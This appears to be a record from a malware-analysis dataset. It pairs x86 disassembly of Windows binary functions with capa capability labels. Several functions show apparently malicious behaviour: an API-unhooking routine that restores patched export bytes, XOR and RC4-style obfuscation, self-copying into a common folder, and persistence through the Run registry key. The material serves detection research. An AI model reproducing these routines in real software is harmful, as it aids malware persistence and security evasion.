joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009f65
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov eax, dword [esi + 0x3c]
mov eax, dword [eax + esi + 0x78]
test eax, eax
je 0x10009fba
mov edx, dword [eax + esi + 0x20]
xor edi, edi
mov ebx, dword [eax + esi + 0x24]
add edx, esi
mov ecx, dword [eax + esi + 0x1c]
add ebx, esi
mov eax, dword [eax + esi + 0x18]
add ecx, esi
mov dword [ebp - 4], edx
mov dword [ebp - 8], ecx
mov dword [ebp + 8], eax
test eax, eax
je 0x10009fba
mov edx, dword [edx + edi*4]
mov ecx, dword [ebp + 0xc]
add edx, esi
call fcn.1000c012
test eax, eax
je 0x10009fc1
mov edx, dword [ebp - 4]
inc edi
cmp edi, dword [ebp + 8]
jb 0x10009fa0
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
movzx eax, word [ebx + edi*2]
mov ecx, dword [ebp - 8]
mov eax, dword [ecx + eax*4]
add eax, esi
jmp 0x10009fbc

Function at 0x1000a776
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
mov edi, dword [ebp + 0x10]
mov esi, edi
mov dword [ebp - 4], ecx
cmp edi, edx
jae 0x1000a7a0
mov ebx, dword [ebp + 8]
mov eax, esi
and eax, 0x7f
mov al, byte [eax + ebx]
cmp al, byte [esi + ecx]
je 0x1000a7ca
inc esi
cmp esi, edx
jb 0x1000a78e
push 0x22
lea eax, [ebp - 0x54]
xor ebx, ebx
push eax
push ebx
push 0x1001dec0
push 0x172
push 0xdc
call dword [0x1001a0cc]
test eax, eax
jne 0x1000a808
inc ebx
cmp ebx, 0x14
jb 0x1000a7c2
jmp 0x1000a80e
sub esi, edi
je 0x1000a7a0
lea eax, [esi + 1]
push eax
call fcn.10009ca8
pop ecx
mov ecx, eax
mov dword [ebp + 0x10], ecx
test ecx, ecx
jne 0x1000a7e8
mov eax, 0x1002107a
jmp 0x1000a815
mov edx, ecx
mov ecx, dword [ebp - 4]
sub edx, edi
mov eax, edi
and eax, 0x7f
mov al, byte [eax + ebx]
xor al, byte [edi + ecx]
mov byte [edx + edi], al
inc edi
sub esi, 1
jne 0x1000a7ef
mov ecx, dword [ebp + 0x10]
jmp 0x1000a813
inc ebx
cmp ebx, 0x22
jb 0x1000a808
mov ecx, 0x1002107a
mov eax, ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000a81a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
xor edi, edi
mov dword [ebp - 4], ecx
mov ebx, edi
cmp esi, edx
jae 0x1000a855
mov ecx, dword [ebp + 8]
mov eax, esi
and eax, 0x7f
mov al, byte [eax + ecx]
mov ecx, dword [ebp - 4]
cmp al, byte [esi + ecx]
je 0x1000a84e
inc esi
cmp esi, edx
jb 0x1000a831
mov esi, dword [ebp + 0x10]
jmp 0x1000a855
mov ebx, esi
mov esi, dword [ebp + 0x10]
sub ebx, esi
push 0x22
lea eax, [ebp - 0x54]
push eax
push edi
push 0x1001ded0
push 0xb4
push 0x7d3
call dword [0x1001a0cc]
test eax, eax
jne 0x1000a87f
mov eax, edi
inc eax
cmp eax, 0x14
jb 0x1000a877
jmp 0x1000a887
mov ecx, edi
inc ecx
cmp ecx, 0x22
jb 0x1000a881
lea eax, [ebx*2 + 2]
push eax
call fcn.10009ca8
pop ecx
mov ecx, eax
test ecx, ecx
jne 0x1000a8a2
mov eax, 0x100210ac
jmp 0x1000a8c6
test ebx, ebx
je 0x1000a8c4
mov edx, dword [ebp + 8]
mov eax, esi
and eax, 0x7f
mov al, byte [eax + edx]
mov edx, dword [ebp - 4]
xor al, byte [esi + edx]
movzx eax, al
mov word [ecx + edi*2], ax
inc edi
inc esi
cmp edi, ebx
jb 0x1000a8a6
mov eax, ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000c077
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi]
inc eax
push eax
call fcn.10009ca8
mov edx, eax
pop ecx
test edx, edx
je 0x1000c0a8
xor ecx, ecx
cmp dword [esi], ecx
jbe 0x1000c0a8
mov eax, ecx
and eax, 3
mov al, byte [eax + esi + 0x108]
xor al, byte [esi + ecx + 4]
mov byte [ecx + edx], al
inc ecx
cmp ecx, dword [esi]
jb 0x1000c090
mov eax, edx
pop esi
ret
Function at 0x1000ed31
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push esi
push edi
push ecx
call fcn.10009c73
mov edi, eax
mov dword [esp], 0x322
mov dword [ebp - 0x1c], edi
call fcn.10009c73
mov ecx, dword [0x10020fc8]
mov esi, eax
add ecx, 0x648
push ecx
call fcn.100152fa
mov ecx, dword [0x10020fc8]
push eax
add ecx, 0x122a
lea eax, [ebp - 0x22c]
push ecx
push 0x1001df94
push 0x104
push eax
call fcn.1000bdca
push 0
push edi
mov eax, 0x1001dddc
push eax
push esi
push eax
mov eax, dword [0x10020fc8]
add eax, 0x1020
push eax
call fcn.1000a4a3
add esp, 0x34
lea ecx, [ebp - 0x22c]
push 0
push ecx
push eax
mov eax, dword [0x10020f94]
call dword [eax + 0x120]
mov eax, dword [0x10020f94]
push edi
call dword [eax + 0x14]
mov esi, eax
test esi, esi
jne 0x1000edee
mov eax, dword [0x10020f94]
push edi
call dword [eax + 4]
mov esi, eax
test esi, esi
jne 0x1000edee
lea eax, [ebp - 0x1c]
push eax
call fcn.1000a8de
pop ecx
or eax, 0xffffffff
jmp 0x1000ef1b
lea eax, [ebp - 0x22c]
push eax
mov eax, dword [0x10020f94]
call dword [eax + 4]
mov edi, eax
mov dword [ebp - 0x18], edi
test edi, edi
je 0x1000eef0
mov ecx, dword [esi + 0x3c]
add ecx, esi
mov dword [ebp - 4], ecx
mov eax, dword [ecx + 0x78]
test eax, eax
je 0x1000eef0
push ebx
lea ebx, [eax + esi]
mov eax, dword [ebx + 0x20]
mov edx, dword [ebx + 0x24]
add eax, esi
mov dword [ebp - 0x24], eax
add edx, esi
mov eax, dword [ebx + 0x1c]
add eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0xc], eax
cmp dword [ebx + 0x18], eax
jbe 0x1000eeef
movzx eax, word [edx + eax*2]
mov edi, dword [ebp - 0x20]
mov edi, dword [edi + eax*4]
add edi, esi
cmp edi, ebx
jb 0x1000ee60
mov eax, dword [ecx + 0x7c]
add eax, ebx
cmp edi, eax
jb 0x1000eedc
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xc]
mov eax, dword [ecx + eax*4]
add eax, esi
push eax
mov eax, dword [0x10020f94]
push dword [ebp - 0x18]
call dword [eax + 0xc]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x1000eed6
push 8
push eax
push edi
call fcn.10009e4a
add esp, 0xc
test eax, eax
je 0x1000eed6
cmp byte [edi], 0xe9
jne 0x1000eed6
and dword [ebp - 0x14], 0
lea eax, [ebp - 0x14]
push eax
mov eax, dword [0x10020f94]
push 0x40
push 8
push edi
call dword [eax + 0xfc]
test eax, eax
je 0x1000eed6
push 8
push dword [ebp - 0x10]
push edi
call fcn.10009d8b
and dword [ebp - 0x10], 0
lea eax, [ebp - 0x10]
add esp, 0xc
push eax
push dword [ebp - 0x14]
mov eax, dword [0x10020f94]
push 8
push edi
call dword [eax + 0xfc]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp eax, dword [ebx + 0x18]
jb 0x1000ee47
mov edi, dword [ebp - 0x18]
pop ebx
lea eax, [ebp - 0x1c]
push eax
call fcn.1000a8de
pop ecx
test edi, edi
je 0x1000ef07
mov eax, dword [0x10020f94]
push edi
call dword [eax + 8]
lea eax, [ebp - 0x22c]
push eax
mov eax, dword [0x10020f94]
call dword [eax + 0x11c]
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x1000f1d2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
not esi
push edi
mov edi, ecx
test edx, edx
jne 0x1000f1e6
xor eax, eax
jmp 0x1000f219
xor ecx, ecx
test edx, edx
je 0x1000f215
movzx eax, byte [ecx + edi]
xor esi, eax
mov eax, esi
shr esi, 4
and eax, 0xf
xor esi, dword [eax*4 + 0x1001dd00]
mov eax, esi
shr esi, 4
and eax, 0xf
xor esi, dword [eax*4 + 0x1001dd00]
inc ecx
cmp ecx, edx
jb 0x1000f1ec
not esi
mov eax, esi
pop edi
pop esi
pop ebp
ret
Function at 0x100118f7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0x1001e050
mov dword [ebp - 4], edx
mov dword [ebp - 8], ecx
call fcn.1000da1e
pop ecx
push 0xf
pop esi
xor ebx, ebx
mov byte [ebp - 9], bl
cmp eax, esi
ja 0x10011923
mov esi, eax
test esi, esi
je 0x10011931
mov ecx, ebx
lea eax, [ecx + 0x41]
mov byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, esi
jb 0x10011925
lea eax, [ebp - 0x18]
push eax
call dword [0x1001a0d8]
cmp dword [ebp - 4], 0
mov edi, dword [ebp + 8]
mov dh, byte [edi + 0x100]
mov al, byte [edi + 0x101]
jle 0x10011983
inc dh
movzx esi, dh
mov dl, byte [esi + edi]
add al, dl
movzx ecx, al
mov byte [ebp + 0xb], al
mov al, byte [ecx + edi]
mov byte [esi + edi], al
mov byte [ecx + edi], dl
mov al, byte [esi + edi]
mov ecx, dword [ebp - 8]
add al, dl
movzx eax, al
mov al, byte [eax + edi]
xor byte [ebx + ecx], al
inc ebx
mov al, byte [ebp + 0xb]
cmp ebx, dword [ebp - 4]
jl 0x10011950
mov byte [edi + 0x100], dh
mov byte [edi + 0x101], al
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100119c6
Capabilities:
Hash data using sha1

Disassembly:
xor eax, eax
mov dword [ecx], 0x67452301
mov dword [ecx + 0x14], eax
mov dword [ecx + 0x18], eax
mov dword [ecx + 0x5c], eax
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
mov dword [ecx + 0x10], 0xc3d2e1f0
mov dword [ecx + 0x60], eax
mov dword [ecx + 0x64], eax
ret
Function at 0x10011c19
Capabilities:
Encode data using xor
Hash data using sha1

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 0x5c]
mov byte [eax + esi + 0x1c], 0x80
inc dword [esi + 0x5c]
cmp eax, 0x37
mov eax, dword [esi + 0x5c]
jle 0x10011c66
jmp 0x10011c3c
mov byte [eax + esi + 0x1c], 0
inc dword [esi + 0x5c]
mov eax, dword [esi + 0x5c]
cmp eax, 0x40
jl 0x10011c31
call fcn.10011a84
jmp 0x10011c53
mov eax, dword [esi + 0x5c]
mov byte [esi + eax + 0x1c], 0
inc dword [esi + 0x5c]
cmp dword [esi + 0x5c], 0x38
jl 0x10011c48
jmp 0x10011c6b
mov byte [eax + esi + 0x1c], 0
inc dword [esi + 0x5c]
mov eax, dword [esi + 0x5c]
cmp eax, 0x38
jl 0x10011c5b
mov al, byte [esi + 0x1b]
mov ecx, esi
mov byte [esi + 0x54], al
mov al, byte [esi + 0x1a]
mov byte [esi + 0x55], al
mov al, byte [esi + 0x19]
mov byte [esi + 0x56], al
mov al, byte [esi + 0x18]
mov byte [esi + 0x57], al
mov al, byte [esi + 0x17]
mov byte [esi + 0x58], al
mov al, byte [esi + 0x16]
mov byte [esi + 0x59], al
mov al, byte [esi + 0x15]
mov byte [esi + 0x5a], al
mov al, byte [esi + 0x14]
mov byte [esi + 0x5b], al
pop esi
jmp fcn.10011a84

Function at 0x10013d0d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0x10]
add edi, 0xdeadbeef
add edi, ecx
push 0xc
pop eax
mov edx, edi
mov esi, edi
mov dword [ebp + 0x10], edx
cmp ecx, eax
jbe 0x10013e07
lea eax, [ecx - 0xd]
xor edx, edx
push 0xc
pop ecx
div ecx
inc eax
mov dword [ebp + 8], eax
movzx edx, byte [ebx + 7]
movzx ecx, byte [ebx + 6]
movzx eax, byte [ebx + 5]
shl edx, 8
add edx, ecx
movzx ecx, byte [ebx + 0xb]
shl ecx, 8
shl edx, 8
add edx, eax
movzx eax, byte [ebx + 4]
add esi, eax
shl edx, 8
movzx eax, byte [ebx + 0xa]
add esi, edx
add ecx, eax
movzx edx, byte [ebx + 8]
movzx eax, byte [ebx + 9]
add edx, edi
shl ecx, 8
add ecx, eax
movzx eax, byte [ebx + 2]
shl ecx, 8
add edx, ecx
movzx ecx, byte [ebx + 3]
shl ecx, 8
mov edi, edx
add ecx, eax
rol edi, 4
movzx eax, byte [ebx + 1]
shl ecx, 8
add ecx, eax
movzx eax, byte [ebx]
shl ecx, 8
add ecx, eax
sub ecx, edx
add edx, esi
add ecx, dword [ebp + 0x10]
xor edi, ecx
sub esi, edi
mov eax, edi
add edi, edx
rol eax, 6
xor eax, esi
sub edx, eax
mov ecx, eax
rol ecx, 8
add eax, edi
xor ecx, edx
sub edi, ecx
mov edx, ecx
rol edx, 0x10
add ecx, eax
xor edx, edi
mov esi, edx
sub eax, edx
ror esi, 0xd
add edx, ecx
xor esi, eax
mov dword [ebp + 0x10], edx
sub ecx, esi
mov edi, esi
rol edi, 4
add esi, edx
xor edi, ecx
mov ecx, dword [ebp + 0xc]
push 0xc
pop eax
sub ecx, eax
add ebx, eax
sub dword [ebp + 8], 1
mov dword [ebp + 0xc], ecx
jne 0x10013d44
cmp ecx, eax
ja 0x10013e73
jmp dword [ecx*4 + 0x100132c1]
xor edi, esi
mov eax, esi
rol eax, 0xe
sub edi, eax
mov eax, edi
mov edx, edi
xor edx, dword [ebp + 0x10]
rol eax, 0xb
sub edx, eax
xor esi, edx
mov eax, edx
ror eax, 7
sub esi, eax
mov eax, esi
xor edi, esi
rol eax, 0x10
sub edi, eax
mov eax, edi
mov ecx, edi
rol eax, 4
xor ecx, edx
sub ecx, eax
mov eax, ecx
xor esi, ecx
rol eax, 0xe
sub esi, eax
mov eax, esi
xor edi, esi
ror eax, 8
sub edi, eax
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x100152b5
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov dword [edx], eax
mov dword [edx + 0x9c0], 1
mov ecx, dword [edx + 0x9c0]
mov eax, dword [edx + ecx*4 - 4]
shr eax, 0x1e
xor eax, dword [edx + ecx*4 - 4]
imul eax, eax, 0x6c078965
add eax, ecx
mov dword [edx + ecx*4], eax
inc dword [edx + 0x9c0]
cmp dword [edx + 0x9c0], 0x270
jl 0x100152ca
pop ebp
ret

Function at 0x100152fa
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
push edi
mov edi, dword [edx + 0x9c0]
cmp edi, 0x270
jl 0x100153ac
push ebx
xor edi, edi
mov ebx, 0x7fffffff
push esi
mov esi, edi
mov ecx, dword [edx + esi*4 + 4]
xor ecx, dword [edx + esi*4]
and ecx, ebx
xor ecx, dword [edx + esi*4]
mov eax, ecx
shr ecx, 1
and eax, 1
xor ecx, dword [eax*4 + 0x1001f02c]
xor ecx, dword [edx + esi*4 + 0x634]
mov dword [edx + esi*4], ecx
inc esi
cmp esi, 0xe3
jl 0x1001531e
mov ecx, dword [edx + esi*4 + 4]
xor ecx, dword [edx + esi*4]
and ecx, ebx
xor ecx, dword [edx + esi*4]
mov eax, ecx
shr ecx, 1
and eax, 1
xor ecx, dword [eax*4 + 0x1001f02c]
xor ecx, dword [edx + esi*4 - 0x38c]
mov dword [edx + esi*4], ecx
inc esi
cmp esi, 0x26f
jl 0x1001534b
mov ecx, dword [edx + 0x9bc]
xor ecx, dword [edx]
and ecx, ebx
xor ecx, dword [edx + 0x9bc]
mov eax, ecx
shr ecx, 1
and eax, 1
pop esi
pop ebx
mov eax, dword [eax*4 + 0x1001f02c]
xor eax, dword [edx + 0x630]
xor eax, ecx
mov dword [edx + 0x9bc], eax
mov dword [edx + 0x9c0], edi
mov ecx, dword [edx + edi*4]
lea eax, [edi + 1]
mov dword [edx + 0x9c0], eax
mov eax, ecx
shr eax, 0xb
xor ecx, eax
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
pop edi
pop ebp
ret

Function at 0x10017430
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.10017440

Function at 0x100176c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.10017970
Function at 0x41ecfd
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00413ea2
and dword [ebp - 4], 0
cmp dword [0x43ca8c], 0
mov ebx, eax
jne 0x41edae
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x41ee5f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x431bd4
push edi
call esi
test eax, eax
je 0x41ee5f
push eax
call fcn.00413e30
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x43ca8c], eax
call esi
push eax
call fcn.00413e30
mov dword [esp], 0x431bb0
push edi
mov dword [0x43ca90], eax
call esi
push eax
call fcn.00413e30
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x43ca94], eax
call esi
push eax
call fcn.00413e30
pop ecx
mov dword [0x43ca9c], eax
test eax, eax
je 0x41edae
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00413e30
pop ecx
mov dword [0x43ca98], eax
mov eax, dword [0x43ca98]
cmp eax, ebx
je 0x41ee06
cmp dword [0x43ca9c], ebx
je 0x41ee06
push eax
call fcn.00413eab
push dword [0x43ca9c]
mov esi, eax
call fcn.00413eab
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x41ee06
test edi, edi
je 0x41ee06
call esi
test eax, eax
je 0x41edfd
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x41edfd
test byte [ebp - 0xc], 1
jne 0x41ee06
or dword [ebp + 0x10], 0x200000
jmp 0x41ee3f
mov eax, dword [0x43ca90]
cmp eax, ebx
je 0x41ee3f
push eax
call fcn.00413eab
pop ecx
test eax, eax
je 0x41ee3f
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x41ee3f
mov eax, dword [0x43ca94]
cmp eax, ebx
je 0x41ee3f
push eax
call fcn.00413eab
pop ecx
test eax, eax
je 0x41ee3f
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x43ca8c]
call fcn.00413eab
pop ecx
test eax, eax
je 0x41ee5f
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x41ee61
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x427d54
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x427d8f
Function at 0x401ea0
Capabilities:
Copy file
Create directory
Get common file path

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41edb6
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x460
mov eax, dword [0x430068]
xor eax, ebp
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x220]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x4020f1
xor eax, eax
mov dword [ebp - 0x460], 0
lea ecx, [ebp - 0x220]
mov dword [ebp - 0x45c], 7
mov word [ebp - 0x470], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401f22
sub ecx, edx
lea eax, [ebp - 0x220]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x470]
call fcn.004035f0
push 0x42c864
lea ecx, [ebp - 0x470]
mov dword [ebp - 4], 0
call fcn.004047c0
mov dword [ebp - 0x430], 0
xor ecx, ecx
mov dword [ebp - 0x42c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x440], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x430], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x45c]
cmp edx, 8
jb 0x401fdd
mov ecx, dword [ebp - 0x470]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x401fd3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40210d
push edx
push ecx
call fcn.0040c442
add esp, 8
xor eax, eax
mov dword [ebp - 0x460], 0
cmp dword [ebp - 0x42c], 8
mov word [ebp - 0x470], ax
lea eax, [ebp - 0x440]
cmovae eax, dword [ebp - 0x440]
push 0
push eax
mov dword [ebp - 0x45c], 7
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x40202c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4020b5
push 0x104
lea eax, [ebp - 0x428]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ecx
lea edx, [ebp - 0x440]
lea ecx, [ebp - 0x458]
call fcn.00403d70
add esp, 4
lea eax, [ebp - 0x458]
cmp dword [ebp - 0x444], 8
cmovae eax, dword [ebp - 0x458]
push 0
push eax
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov edx, dword [ebp - 0x444]
cmp edx, 8
jb 0x4020b5
mov ecx, dword [ebp - 0x458]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4020ab
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402112
push edx
push ecx
call fcn.0040c442
add esp, 8
mov edx, dword [ebp - 0x42c]
cmp edx, 8
jb 0x4020f1
mov ecx, dword [ebp - 0x440]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4020e7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402117
push edx
push ecx
call fcn.0040c442
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040c069
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00410d5d
call fcn.00410d5d
call fcn.00410d5d
int3
Function at 0x402120
Capabilities:
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41edf6
mov eax, dword fs:[0]
push eax
sub esp, 0x258
mov eax, dword [0x430068]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x24c]
mov dword [ebp - 0x24c], 0
push eax
push 2
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402351
lea eax, [ebp - 0x218]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x402345
xor eax, eax
mov dword [ebp - 0x254], 0
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x250], 7
mov word [ebp - 0x264], ax
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4021c0
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x264]
call fcn.004035f0
push ecx
lea edx, [ebp - 0x264]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x248]
call fcn.00403ee0
add esp, 4
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x250]
cmp edx, 8
jb 0x402242
mov ecx, dword [ebp - 0x264]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x402238
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40236a
push edx
push ecx
call fcn.0040c442
add esp, 8
xor eax, eax
mov dword [ebp - 0x254], 0
push ecx
lea edx, [ebp - 0x248]
mov dword [ebp - 0x250], 7
lea ecx, [ebp - 0x230]
mov word [ebp - 0x264], ax
call fcn.00403d70
mov eax, dword [ebp - 0x220]
lea ecx, [ebp - 0x230]
add esp, 4
cmp dword [ebp - 0x21c], 8
cmovae ecx, dword [ebp - 0x230]
lea eax, [eax*2 + 2]
push eax
push ecx
push 1
push 0
push 0x42c88c
push dword [ebp - 0x24c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0x21c]
cmp edx, 8
jb 0x4022ec
mov ecx, dword [ebp - 0x230]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4022e2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40236f
push edx
push ecx
call fcn.0040c442
add esp, 8
mov edx, dword [ebp - 0x234]
xor eax, eax
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
cmp edx, 8
jb 0x402345
mov ecx, dword [ebp - 0x248]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40233b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402374
push edx
push ecx
call fcn.0040c442
add esp, 8
push dword [ebp - 0x24c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040c069
mov esp, ebp
pop ebp
ret
call fcn.00410d5d
call fcn.00410d5d
call fcn.00410d5d
int3